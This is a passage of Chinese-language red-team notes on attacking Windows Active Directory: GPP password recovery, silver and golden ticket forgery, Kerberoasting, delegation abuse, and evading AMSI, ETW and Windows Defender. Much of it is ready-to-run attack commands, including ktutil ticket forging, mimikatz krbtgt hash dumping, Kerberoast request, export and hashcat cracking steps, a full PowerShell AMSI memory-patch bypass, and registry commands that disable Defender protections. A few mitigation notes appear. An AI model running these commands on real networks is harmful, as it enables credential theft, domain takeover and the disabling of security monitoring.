- Printers\Printers.xml
- Drives\Drives.xml
- DataSources\DataSources.xml
**相关文章**
- [域安全篇:寻找SYSVOL里的密码和攻击GPP(组策略偏好)](https://www.freebuf.com/vuls/92016.html)
- [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288)
- [域渗透——利用SYSVOL还原组策略中保存的密码](https://xz.aliyun.com/t/1653)
- [windows2008 GPP漏洞利用](https://bl4ck.in/penetration/2015/08/14/windows2008-GPP%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8.html)
- [浅析域渗透中的组策略利用](https://xz.aliyun.com/t/7784)
**修复方案**
- 在每台用于管理 GPO 的电脑上安装 KB2962486 补丁,这样会避免新的凭据放进 GPP 里。
- 删除现有的 GPP 里包含密码的 xml 文件。
---
#### PTT
票据传递攻击(PtT)是一种使用 Kerberos 票据代替明文密码或 NTLM 哈希的方法。PtT 最常见的用途可能是使用黄金票据和白银票据,通过 PtT 访问主机相当简单。
**相关文章**
- [浅学Windows认证](https://b404.xyz/2019/07/23/Study-Windows-Authentication/)
- [白银票据与黄金票据探究](http://sh1yan.top/2019/06/03/Discussion-on-Silver-Bill-and-Gold-Bill/)
- [Pass the Hash with Kerberos :: malicious.link](https://malicious.link/post/2018/pass-the-hash-with-kerberos/) - Kerberos 中的 PTH
- [如何通过 SSH 隧道进行域渗透的 PtT 攻击](https://paper.seebug.org/321/)
- [How Attackers Use Kerberos Silver Tickets to Exploit Systems ](https://adsecurity.org/?p=2011)
- [Kerberos Golden Tickets are Now More Golden](https://adsecurity.org/?p=1640)
- [golden ticket和sliver ticket的区别是什么?](https://blog.csdn.net/Ping_Pig/article/details/121228886)
- [Kerberos协议之黄金票据和白银票据](https://y4er.com/post/kerberos-golden-ticket-and-silver-ticket/)
**相关工具**
- [gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo) - A little toolbox to play with Microsoft Kerberos in C
##### Silver Tickets
**描述**
白银票据是出现在 TGS_REQ & TGS_REP 过程中的。在 TGS_REP 中,不管 Client 是否有权限访问特殊服务,只要 Client 发送的 TGT 票据是正确的,那么就会返回服务 hash 加密的 tgs 票据。如果我们有了服务 hash,就可以签发 tgs 票据。
**原理**
白银票据主要是发生在第五步骤上,在 AP_REQ 中的 ST 的组成:
```
k(c,tgs)加密[Session_key],[Server_ntlm_hash(Tiket(K(c,s),Client_Name(domainName\Username),TGT_EndTime))]
```
在第四步骤时,票据生成服务器(TGS)给我们发了上面的数据,在第五步骤时,我们需要发送下面的数据。
```
K(c,s)加密[Authenticator([DomainName\Username,ServerName(DomainName\Server)])],[Tiket(Server_ntlm_hash(Tiket(K(c,s),Client_Name(domainName\Username),TGT_EndTime)))]
```
从需要发送的数据上看,当拥有 Server Hash 时,我们就可以伪造一个不经过 KDC 认证的一个 Ticket,这个也就是白银票据。
PS : Server Session Key 在未发送 Ticket 之前,服务器是不知道 Server Session Key 是什么的。 所以,一切凭据都来源于 Server Hash。
伪造的 `Client-To-Server Ticket`(也有唤作 ST 和 Service Ticket)被称为白银票据。在不与 KDC 通信情况下,通过获取 Server 端服务账号的 NTLM Hash 值,就能伪造该 Server 端服务的票据。不过在 TGT 中已包含了服务实例的唯一标识(SPN 服务),白银票据就只能访问指定的服务。
**白银票据特点**
1. 不需要与 KDC 进行交互
2. 需要目标服务的 NTLM Hash
3. 从攻击面来看,伪造白银票据的难度比伪造黄金票据的难度较小,因为一个域中的服务器如果对外的话,非常容易被入侵,并且容易被转储 Server。
4. 从防御角度来看,需要开启 PAC 认证,但这会降低认证效率,增加 DC 的负担,最根本的还是要加固服务器本身对外的服务。
5. 因为需要目标机器的 Hash,并且也不是通过伪造 TGT 申请的,因此只能针对对应服务伪造票据(黄金票据直接伪造的是 TGT,而白金票据伪造的是 TGS 发送的票据,也就是说是单向车程)
**白银票据的攻击流程**
1. 获取服务端计算机的服务账号或者服务端计算机账号的 NTLM 哈希(如通过 kerberoast 获取)
2. 通过 mimikatz 的 kerberos::golden 传递域 SID、目标主机名、服务名称、伪造的用户名、等信息创建白银票据
3. 将票据注入到内存,并访问服务
- **mimikatz**
mimikatz 的 Silver_Tickets 相关操作见 [mimikatz 笔记](../../安全工具/mimikatz.md#Silver_Tickets)
- **ktutil**
```bash
ktutil # 使用 ktutil 创建一个 keytab 文件
ktutil: addent -p uberuser@CORP.SOMEWHATREALNEWS.COM -k 1 -key -e rc4-hmac # 指定用户和 FQDN 的全大写版本
Key for uberuser@CORP.SOMEWHATREALNEWS.COM (hex): 88e4d9fabaecf3dec18dd80905521b29 # 输入 rc4-hmac(NTLM)哈希值
ktutil: wkt /tmp/a.keytab # 把 keytab 文件写到磁盘上
ktutil: exit # 退出
kinit -V -k -t /tmp/a.keytab -f uberuser@CORP.SOMEWHATREALNEWS.COM # 使用 keytab 文件创建一个 kerberos ticket
klist # 验证
```
**other**
由于白银票据需要目标服务器的 Hash,所以没办法生成对应域内所有服务器的票据,也不能通过 TGT 申请。因此只能针对服务器上的某些服务去伪造,伪造的服务类型列表如下:
| 服务注释 | 服务名 |
| - | - |
| WMI | HOST、RPCSS |
| Powershell Remoteing | HOST、HTTP |
| WinRM | HOST、HTTP |
| Scheduled Tasks | HOST |
| LDAP 、DCSync | LDAP |
| Windows File Share (CIFS) | CIFS |
| Windows Remote ServerAdministration Tools | RPCSS、LDAP、CIFS |
**白银票据(Silver Tickets)防御**
1. 尽量保证服务器凭证不被窃取
2. 开启 PAC (Privileged Attribute Certificate) 特权属性证书保护功能,PAC 主要是规定服务器将票据发送给 kerberos 服务,由 kerberos 服务验证票据是否有效。
开启方式:将注册表中 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters` 中的 ValidateKdcPacSignature 设置为 1。
---
##### Golden Tickets
**描述**
在 AS_REQ & AS_REP 中,用户使用自身 hash 加密时间戳发送给 KDC,KDC 验证成功后返回用 krbtgt hash 加密的 TGT 票据。如果攻击者有 krbtgt 的 hash,就可以自己给自己签发任意用户的 tgt 票据。
**原理**
黄金票据主要是发生在 kerberos 的第三和第四步骤上。
第二步骤时,AS 发给客户端的数据。
```
[Client_ntlm_hash(K(c,tgs))],[Krbtgt_ntlm_hash(k(c,tgs),Client_name(DomainName\Username),TGT_EndTime)]
```
在第三步骤时,客户端拥有两个数据,一个是自己账号 ntlm_hash 加密的 session_key、一个是 TGT 凭证,而这个 TGT 凭证是 kertgt 的 ntlm_hash 加密的信息。
攻击者在获取了 krbtgt 账号的 NTLM Hash 之后,通过发送伪造的 TGT(包括 sessionkey)给 TGS 换取任意服务的Client-To-Server Ticket(ST,服务票据),从而获得域内的任意服务权限。即拥有黄金票据就拥有了域内若干权限。
如第三步骤中需要发送的内容
```
[Session_key(Authenticator([DomainName\Username,ServerName(DomainName\Server)]))],[TGT(Krbtgt_ntlm_hash(k(c,tgs),Client_name(DomainName\Username),TGT_EndTime))]
```
这样,我们就可以访问域内任意一台服务器.
**黄金票据的注意事项**
- Windows 事件日志不区分 TGT 的合法性,即黄金票据的行为隐蔽性高
- 伪造黄金票据的时候,可以离线生成,减少痕迹
- krbtgt 的密码被修改了,生成的黄金票据就会失效
- 未进行 DC 生成 TGT 之前的常规验证,从而绕过了 SmartCard 身份验证要求
- KDC 会验证 TGT 中的时间戳。域策略中修改 Kerberos Policy 中的存活周期,不会影响黄金票据。
- 被冒充的账户重置密码不会影响黄金票据的使用
- 黄金票据的有效期是十年,即使域管更改了密码,也可以对域内进行十年的权限维持(除了域的认证机制改变等因素)
- 可以使用禁用、删除的帐户进行冒充,甚至是在 Active Directory 中不存在的帐户
**常见域内账户 SID**
- 域用户 SID:S-1-5-21 -513
- 域管理员 SID:S-1-5-21 -512
- 架构管理员 SID:S-1-5-21 -518
- 企业管理员 SID:S-1-5-21 -519(只有在域林根域中伪造票据时才有效,用 AD 域林管理员权限添加就使用 `/sids` 参数)
- 组策略创建者所有者 SID:S-1-5-21 -520
**黄金票据特点**
1. 需要与 DC 通信
2. 需要 krbtgt 用户的 hash
3. 从攻击面来看,获取 krbtgt 用户的 hash 后,可以在域中进行持久性的隐藏,并且日志无法溯源,但是需要拿到 DC 权限,使用黄金票据能够在一个域环境中长时间控制整个域。
4. 从防御角度来看,需要经常更新 krbtgt 的密码,才能够使得原有的票据失效。最根本的办法是不允许域管账户登录其他服务器。
**黄金票据的攻击流程**
可以通过使用 mimikatz 的 DCSync 获取伪造黄金票据需要的 krbtgt 账号的 hash。该方法中,mimikatz 会模拟域控,向目标域控请求密码账号,不用登录域控,也不用提取 NTDS.DIT 文件。但是该操作需要域管在或者其他高权限账户下进行。
mimikatz 的 Golden_Tickets 相关操作见 [mimikatz 笔记](../../安全工具/mimikatz.md#Golden_Tickets)
**其他途径**
- https://pentestlab.blog/tag/dcsync/
获取 krbtgt 账户就直接跳过获取 krbtgt 哈希的步骤。
1. 使用 meterpreter 的 kiwi 扩展可以导出:`dcsync_ntlm krbtgt`
2. mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取 `mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt"`
3. 将域控中的 ntds.dit 复制出来,使用其他工具解析
##### 白银票据与黄金票据的不同点
**访问权限不同**
- Golden Ticket: 伪造 TGT,可以获取任何 Kerberos 服务权限
- Silver Ticket: 伪造 TGS,只能访问指定的服务
**加密方式不同**
- Golden Ticket 由 Kerberos 的 Hash 加密
- Silver Ticket 由服务账号(通常为计算机账户)Hash 加密
**认证流程不同**
- Golden Ticket 的利用过程需要访问域控,而 Silver Ticket 不需要
**生成的票据**
- Golden Ticket 生成 TGT 票据
- Silver Ticket 生成 TGS 票据
##### Diamond Ticket
**相关文章**
- [A DIAMOND IN THE RUFF](https://www.trustedsec.com/blog/a-diamond-in-the-ruff/)
**利用手段**
- https://github.com/GhostPack/Rubeus#diamond
---
#### NTLM中继
- [NTLM中继](./实验/NTLM中继.md)
---
#### NTLMv1 攻击面
**相关文章**
- [NTLMv1 vs NTLMv2: Digging into an NTLM Downgrade Attack](https://www.praetorian.com/blog/ntlmv1-vs-ntlmv2/)
- [Elevating with NTLMv1 and the Printer Bug](https://www.fortalicesolutions.com/posts/elevating-with-ntlmv1-and-the-printer-bug)
- [PRACTICAL ATTACKS AGAINST NTLMV1](https://www.trustedsec.com/blog/practical-attacks-against-ntlmv1/)
---
#### Kerberoasting
`Kerberos TGS 票据离线破解`
**相关文章**
- [Kerberoasting Attacks and Detections](https://medium.com/@bubba7988/kerberoasting-attacks-and-detections-28c81ef98503)
- https://b404.xyz/2019/07/23/Study-Windows-Authentication/#kerberoasting
- [域渗透——Kerberoasting](https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting)
- [Kerberos协议之Kerberoasting和SPN](https://y4er.com/posts/kerberos-kerberoasting-spn/)
- [SPN的相关利用](https://xz.aliyun.com/t/10106)
- [New Attack Paths? AS Requested Service Tickets](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/)
**描述**
服务票据使用服务账户的 NTLM Hash 加密,不用获取运行该服务系统的 shell,任何域用户就可以转储 Hash
在 TGS-REP 过程中,TGS 收到请求后,会将 Client-To-Server Ticket(也称为 ST 票据,Client-To-Server Ticket 由Server 密钥加密)、sessionkey_tgs 返回给 Client。当配置 Kerberos 允许的加密类型是 RC4-HMAC_MD5 时,就可以爆破 Client 端获取的 Client-To-Server Ticket,从而获得服务端服务账户的密码。
破解 Kerberos 服务票据(Client-To-Server Ticket)并重写它们,从而获得目标服务的访问权限的过程叫做 Kerberoast。该过程不需要和目标服务进行交互操作,合法访问活动目录的活动,就可以请求服务票据并导出,进行脱机破解得到服务账户的明文密码。
Kerberoast 攻击涉及五个步骤:
- SPN 扫描
- 请求 Client-To-Server Ticket
- 导出 Client-To-Server Ticket
- 破解 Client-To-Server Ticket
- 重写 Client-To-Server Ticket, 进行内存注入
进行 Kerberoast 攻击时,需要注意以下几点因素:
- 目标 SPN 服务是注册在域用户账户(Users)下
- 域用户账户的权限很高
- 密码最后设置时间
- 密码到期时间
- 最后一次登录时间
```
net user administrator /domain 可查看
```
**spn 介绍**
- [spn](../../../Integrated/Windows/笔记/认证.md#spn)
**spn 扫描**
- [spn 扫描](../信息收集/信息收集.md#spn扫描)
##### 获得高价值的SPN
攻击者最感兴趣的是具有高权限用户组的服务帐户如域管理员组的成员。要快速列出高权限用户组的服务帐户的方法是枚举“AdminCount” 属性等于“1”的所有帐户。攻击者只需要向 AD 请求具有 SPN 且 AdminCount = 1 的所有用户帐户。
需要满足以下条件:
- 该SPN注册在域用户帐户(Users)下
- 域用户账户的权限很高
**使用powershell模块Active Directory**
使用 Active Directory powershell 模块(域控制器一般会安装)中的 Get-ADUser cmdlet:
```powershell
import-module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon
```
对于没有安装的系统,可以通过以下命令导入 Active Directory 模块:
```powershell
import-module .\Microsoft.ActiveDirectory.Management.dll
```
Microsoft.ActiveDirectory.Management.dll 在安装 powershell 模块 Active Directory 后会生成,直接在域控上环境就能复制一个出来
也可以用github上现成的
- https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll
**使用PowerView**
- https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
```
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon
```
**使用kerberoast**
powershell:
- https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
vbs:
- https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs
参数如下:
```
cscript GetUserSPNs.vbs
```
##### 请求/导出TGS
**请求指定的 TGS**
根据微软提供的类 KerberosRequeststorSecurityToken 发起 Kerberos 请求申请票据,:
```bash
$SPNName = 'MSSQLSvc/DC1.test.com'
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
```
**请求所有 TGS**
```bash
Add-Type -AssemblyName System.IdentityModel
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
```
使用 klist 命令查看当前会话存储的 Kerberos 票据:
```bash
klist
```
**导出**
使用 mimikatz 导出内存中的票据(mimikatz 无需提权):
```bash
kerberos::list /export
```
**破解**
使用 https://github.com/nidem/kerberoast 工具破解,得到 sqlsrv 密码为 Admin12345:
```bash
python tgsrepcrack.py dict.txt 2-40a00000-jack@MSSQLSvc~Srv-DB-ffffffff0x.ffffffff0x.com~1433-ffffffff0x.com.kirbi
```
Kerberos 的票据是使用 NTLM Hash 进行签名,上述已经破解密码,就可以使用 Kerberoast 脚本重写票据,这样就可以假冒任何域用户或者虚假的账户,也可以将用户提升到域管中:
```bash
python kerberoast.py -p Admin12345 -r 2-40a00000-jack@MSSQLSvc~Srv-DB-ffffffff0x.ffffffff0x.com~1433-ffffffff0x.com.kirbi -w test.kirbi -u 500
python kerberoast.py -p Admin12345 -r 2-40a00000-jack@MSSQLSvc~Srv-DB-ffffffff0x.ffffffff0x.com~1433-ffffffff0x.com.kirbi -w test.kirbi -g 512
```
```bash
kerberos::ptt test.kirbi
```
攻击者知道一台服务器(或多台服务器)的服务账户和密码,就可以通过此方法将其域用户权限提升到域管。
##### Without Mimikatz
**相关文章**
- [Kerberoasting Without Mimikatz](https://web.archive.org/web/20220212163642/https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/)
Empire 实现的 Invoke-Kerberoast 攻击可以不使用 mimikatz,且普通用户权限就可以实现。
**导出**
- **Invoke-Kerberoast**
可以在域内一台主机上导入 https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1 ,以普通用户权限执行:
```powershell
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -Outputformat Hashcat | fl > test1.txt
```
导出高权限的用户
```powershell
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl
```
只提取出 hash 的命令:
```powershell
Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
```
- **Rubeus**
- https://github.com/GhostPack/Rubeus
```
Rubeus.exe kerberoast
```
- **GetUserSPN**
- https://github.com/maaaaz/impacket-examples-windows/
- https://github.com/SecureAuthCorp/impacket
使用 impacket 中的 GetUserSPN.py 也可以获取
```powershell
python .\GetUserSPNs.py -request -dc-ip 172.16.33.3 -debug test.local/jack
```
- 也可以使用 https://github.com/blacklanternsecurity/Convert-Invoke-Kerberoast
**解密**
```bash
# 使用 hashcat 解密
hashcat -m 13100 hash.txt dict.txt -o /opt/dict/dist.list --force # 使用字典
hashcat -m 13100 -w 3 -a 3 -m 13100 hash -w 3 -a 3 ?l?l?l?l?l?l?l # 使用掩码
# 使用 john 破解
./kirbi2john.py /root/empire-dev/downloads/BDW3E2G2ZRKCUS3B/*.kirbi > /tmp/johnkirb.txt
./john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```
##### 后利用
在我们取得了 SPN 的修改权限后,可以为指定的域用户添加一个 SPN,这样可以随时获得该域用户的 TGS,经过破解后获得明文口令
例如为域用户 Administrator 添加 SPNVNC/DC1.test.com,参数如下:
```
setspn.exe -U -A VNC/DC1.test.com Administrator
```
这样在域内任意一台主机都能获得该 SPN,并且能够使用 Kerberoast 获得 TGS
```
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl
```
再使用 hashcat 破解即可
当需要删除 SPN 的时候,使用如下命令:
```
setspn.exe -D VNC/DC1.test.com Administrator
```
##### 缓解措施
- [kerberoast 缓解措施](../../../Integrated/Windows/Secure-Win.md#kerberoast-缓解措施)
---
#### 委派
关于委派的基本知识点可见笔记 [认证](../../../Integrated/Windows/笔记/认证.md#委派)
##### 查找域中委派主机或账户
> 以下内容来自文章 <sup>[[浅学Windows认证](https://b404.xyz/2019/07/23/Study-Windows-Authentication/#%E6%9F%A5%E6%89%BE%E5%9F%9F%E4%B8%AD%E5%A7%94%E6%B4%BE%E4%B8%BB%E6%9C%BA%E6%88%96%E8%B4%A6%E6%88%B7)]</sup>
当服务账号被设置为非约束性委派时,其 `userAccountControl` 属性会包含为 TRUSTED_FOR_DELEGATION.
当被设置为约束性委派时,其 `userAccountControl` 属性包含 TRUSTED_TO_AUTH_FOR_DELEGATION(T2A4D),且 `msDS-AllowedToDelegateTo` 属性会包含被约束的服务.
加载 powerview,查询非约束性委派账户:
```powershell
Get-NetUser -Unconstrained -Domain ffffffff0x.com
//另外一个版本的Powerview
Get-DomainUser -Properties useraccountcontrol,msds-allowedtodelegateto| fl
```
加载 powerview,查询非约束性委派机器:
```powershell
Get-NetComputer -Unconstrained -Domain ffffffff0x.com
//另外一个版本的Powerview
Get-DomainComputer -Unconstrained -Properties distinguishedname,useraccountcontrol -Verbose| ft -a
```
加载 powerview,枚举域内所有的服务账号,查看哪些账号被设置了委派,以及是何种类型的委派设置:
```powershell
Get-NetUser -TrustedToAuth -Domain ffffffff0x.com
Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl
Get-DomainComputer -TrustedToAuth -Domain ffffffff0x.com
```
当一个用户具备对某个服务账号的 SeEnableDelegationPrivilege 权限时,表示可以更改服务账号的委派设置,一般情况下只有域管理员才具备这个权限。因此也可以利用 SeEnableDelegationPrivilege 属性,制作极其隐蔽的后门。
##### 非约束委派 (TrustedForDelegation)
**描述**
委派就是将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。将我的权限给服务账户。
需要注意的一点是接受委派的用户只能是服务账户或者计算机用户
**相关文章**
- [Kerberos协议之非约束委派](https://y4er.com/posts/kerberos-unconstrained-delegation/)
- [Exploiting Unconstrained Delegation](https://medium.com/@riccardo.ancarani94/exploiting-unconstrained-delegation-a81eabbd6976)
**配合 MS-RPRN abuse**
- [MS-RPRN abuse](./实验/NTLM中继.md#ms-rprn-abuse)
##### 约束委派 (S4U2Proxy) / 协议转换 (S4U2Self/TrustedToAuthForDelegation)
**描述**
因为非约束委派的不安全性,约束委派应运而生。在 2003 之后微软引入了非约束委派,对 Kerberos 引入 S4U,包含了两个子协议 S4U2self、S4U2proxy。S4U2self 可以代表自身请求针对其自身的 Kerberos 服务票据 (ST),S4U2proxy 可以以用户的名义请求其它服务的 ST,约束委派就是限制了 S4U2proxy 扩展的范围。
具体过程是收到用户的请求之后,首先代表用户获得针对服务自身的可转发的 kerberos 服务票据 (S4U2SELF),拿着这个票据向 KDC 请求访问特定服务的可转发的 TGS(S4U2PROXY),并且代表用户访问特定服务,而且只能访问该特定服务。
**相关文章**
- [Kerberos协议之约束委派](https://y4er.com/posts/kerberos-constrained-delegation/)
**查找约束委派的用户**
```
AdFind.exe -b dc=test,dc=local -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" -dn
```
查找约束委派的主机
```
(&(samAccountType=805306369)(msds-allowedtodelegateto=*))
```
##### 基于资源的约束委派 (RBCD)
**描述**
Windows Server 2012中引入了基于资源的约束委派。基于资源的约束委派允许资源配置受信任的帐户委派给他们。
**相关文章**
- [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
- [Kerberos协议之基于资源的约束委派](https://y4er.com/posts/kerberos-resource-based-constrained-delegation/)
#### Kerberos Bronze Bit Attack
**相关文章**
- [Kerberos Bronze Bit Attack 绕过约束委派限制](https://y4er.com/posts/kerberos-bronze-bit-attack/)
---
## 对抗
### AMSI
**什么是 AMSI**
AMSI(Antimalware Scan Interface) ,在内存中扫描恶意代码并且可以转发至 av 用于检测恶意程序执行,具体 API 落于 amsi.dll。
AMSI 内置于 Powershell 中,所以会经常见到很多 Powershell 恶意利用都需要先去 bypass AMSI
**相关文章**
- [初探Powershell与AMSI检测对抗技术](https://www.anquanke.com/post/id/168210)
- [How to bypass Defender in a few easy steps](https://arty-hlr.com/blog/2021/05/06/how-to-bypass-defender/)
- [文本类型的免杀](https://mp.weixin.qq.com/s/xwjjP5OrrxCfazBf6i_J1g)
**相关工具**
- [Flangvik/NetLoader](https://github.com/Flangvik/NetLoader) - Loads any C# binary in mem, patching AMSI + ETW.
- [mdsecactivebreach/SharpPack](https://github.com/mdsecactivebreach/SharpPack) - SharpPack is a toolkit for insider threat assessments that lets you defeat application whitelisting to execute arbitrary DotNet and PowerShell tools.
- [D1rkMtr/PatchAMSI](https://github.com/D1rkMtr/PatchAMSI) - Bypass AMSI by patching AmsiScanBuffer api memory
**改变调查结果**
```powershell
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$test = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($test))
$test2 = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$Address = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($test2))
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0x31, 0xC0, 0x05, 0x78, 0x01, 0x19, 0x7F, 0x05, 0xDF, 0xFE, 0xED, 0x00, 0xC3)
#0: 31 c0 xor eax,eax
#2: 05 78 01 19 7f add eax,0x7f190178
#7: 05 df fe ed 00 add eax,0xedfedf
#c: c3 ret
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, $Patch.Length)
```
---
### ETW
**什么是 ETW**
ETW(Event Trace for Windows) 是一个高效的内核级别的事件追踪机制,它可以记录系统内核或是应用程序的事件 (进程、文件、网络、注册表等行为) 到 Windows 日志文件, Process Monitor 工具以及大名鼎鼎的 Sysmon 也是基于 ETW 进行事件跟踪,有很多的 EDR 都是基于该数据源进行检测。
**相关文章**
- [Design Issues Of Modern EDRs: Bypassing ETW-Based Solutions](https://www.binarly.io/posts/Design_issues_of_modern_EDRs_bypassing_ETW-based_solutions/index.html)
- [两种最新Bypass ETW的方法](https://www.anquanke.com/post/id/202797)
- [基于内存补丁ETW的绕过](https://idiotc4t.com/defense-evasion/memory-pacth-bypass-etw)
- [Hiding your .NET - ETW](https://blog.xpnsec.com/hiding-your-dotnet-etw/)
- [ETW的攻与防](http://tttang.com/archive/1612/)
### UAC
**相关文章**
- [Advanced Windows Task Scheduler Playbook - Part.2 UAC](https://mp.weixin.qq.com/s/3H6krW59Sci5SsA_5fyOzw)
- https://github.com/zcgonvh/TaskSchedulerMisc
**相关项目**
- [zha0gongz1/iscsicpl_bypassUAC](https://github.com/zha0gongz1/iscsicpl_bypassUAC) - UAC bypass for x64 Windows 7 - 11(无弹窗版)
- [Wh04m1001/IFaultrepElevatedDataCollectionUAC](https://github.com/Wh04m1001/IFaultrepElevatedDataCollectionUAC)
### DLL 劫持
**相关文章**
- [x64dbg中的白加黑利用](https://payloads.online/archivers/2022-08-17/1/)
- https://github.com/Rvn0xsy/Invoke-x64dbg-loaddll
- [DEFCON议题解读|Dll劫持新思路——修改环境变量](https://mp.weixin.qq.com/s/S1yA8M_0EMUBNScxd9NWjw)
- [dll 劫持和应用](https://paper.seebug.org/1713/)
- [Backdooring MSBuild - marpie (a12d404.net)](https://www.a12d404.net/ranting/2021/01/17/msbuild-backdoor.html)
- https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security
**相关工具**
- [strivexjun/AheadLib-x86-x64](https://github.com/strivexjun/AheadLib-x86-x64) - hijack dll Source Code Generator. support x86/x64
**相关项目**
- [wietze/HijackLibs](https://github.com/wietze/HijackLibs)
- https://hijacklibs.net
---
### PatchGuard
**相关工具**
- [everdox/InfinityHook](https://github.com/everdox/InfinityHook) - Hook system calls, context switches, page faults and more.
- [hfiref0x/UPGDSED](https://github.com/hfiref0x/UPGDSED) - Universal PatchGuard and Driver Signature Enforcement Disable
---
### PPL
**相关文章**
- [PPL利用](http://tttang.com/archive/1743/)
---
### Hook
#### D/Invoke
**相关文章**
- [破局P/Invoke,D/Invoke隐匿技术与武器化实现剖析](https://mp.weixin.qq.com/s/aqDnt211GL1v-BfO41SJSQ)
- [Emulating Covert Operations - Dynamic Invocation (Avoiding PInvoke & API Hooks)](https://thewover.github.io/Dynamic-Invoke/)
- [Syscalls with D/Invoke](https://offensivedefence.co.uk/posts/dinvoke-syscalls/)
---
## BitLocker
**相关工具**
- [e-ago/bitcracker](https://github.com/e-ago/bitcracker) - BitCracker is the first open source password cracking tool for memory units encrypted with BitLocker
- [BitCracker:BitLocker密码破解工具](https://www.freebuf.com/sectool/185006.html)
**BitLocker 磁盘文件解密**
- 使用 FTK Imager 挂载目标盘,例如挂载到 E:
```
manage-bde -unlock [盘符] -RecoveryPassword [恢复密钥]
manage-bde -unlock E: -RecoveryPassword xxxxxx-xxxxxx-xxxxxx-xxxxxx-xxxxxx-xxxxxx-xxxxxx-xxxxxx
```
- diskgenius 也可以解锁
---
## Windows Defender
**相关文章**
- [渗透基础——Windows Defender](https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-Windows-Defender)
**查看Windows Defender版本**
```
dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b
```
**查看已存在的查杀排除列表**
```bash
# 注册表方式查看
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s
# powershell 方式查看
Get-MpPreference | select ExclusionPath
```
**关闭 Windows Defender**
```bash
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f
# 之后重启电脑应用修改
# 取消关闭(实测,部分场景会自动开启)
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /f
```
### Tamper Protection
- https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/prevent-changes-to-security-settings-with-tamper-protection?view=o365-worldwide
当开启Tamper Protection时,用户将无法通过注册表、Powershell和组策略修改Windows Defender的配置
开启Tamper Protection的方法:依次选择Windows Security->Virus & theat protection settings,启用Tamper Protection
```bash
# 注册表方式开启
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /d 5 /t REG_DWORD /f
```
关闭Tamper Protection的方法:依次选择Windows Security->Virus & theat protection settings,禁用Tamper Protection
```bash
# 注册表方式关闭
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /d 4 /t REG_DWORD /f
```
无法通过修改注册表的方式去设置Tamper Protection,只能通过面板进行修改
查看Tamper Protection的状态:
```bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection"
```
返回结果中的数值5代表开启,数值4代表关闭
### 关闭Windows Defender的Real-time protection
利用条件:
- 需要 TrustedInstaller 权限
- 需要关闭 Tamper Protection
```bash
# 注册表方式关闭
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /d 1 /t REG_DWORD /f
# 注册表方式开启
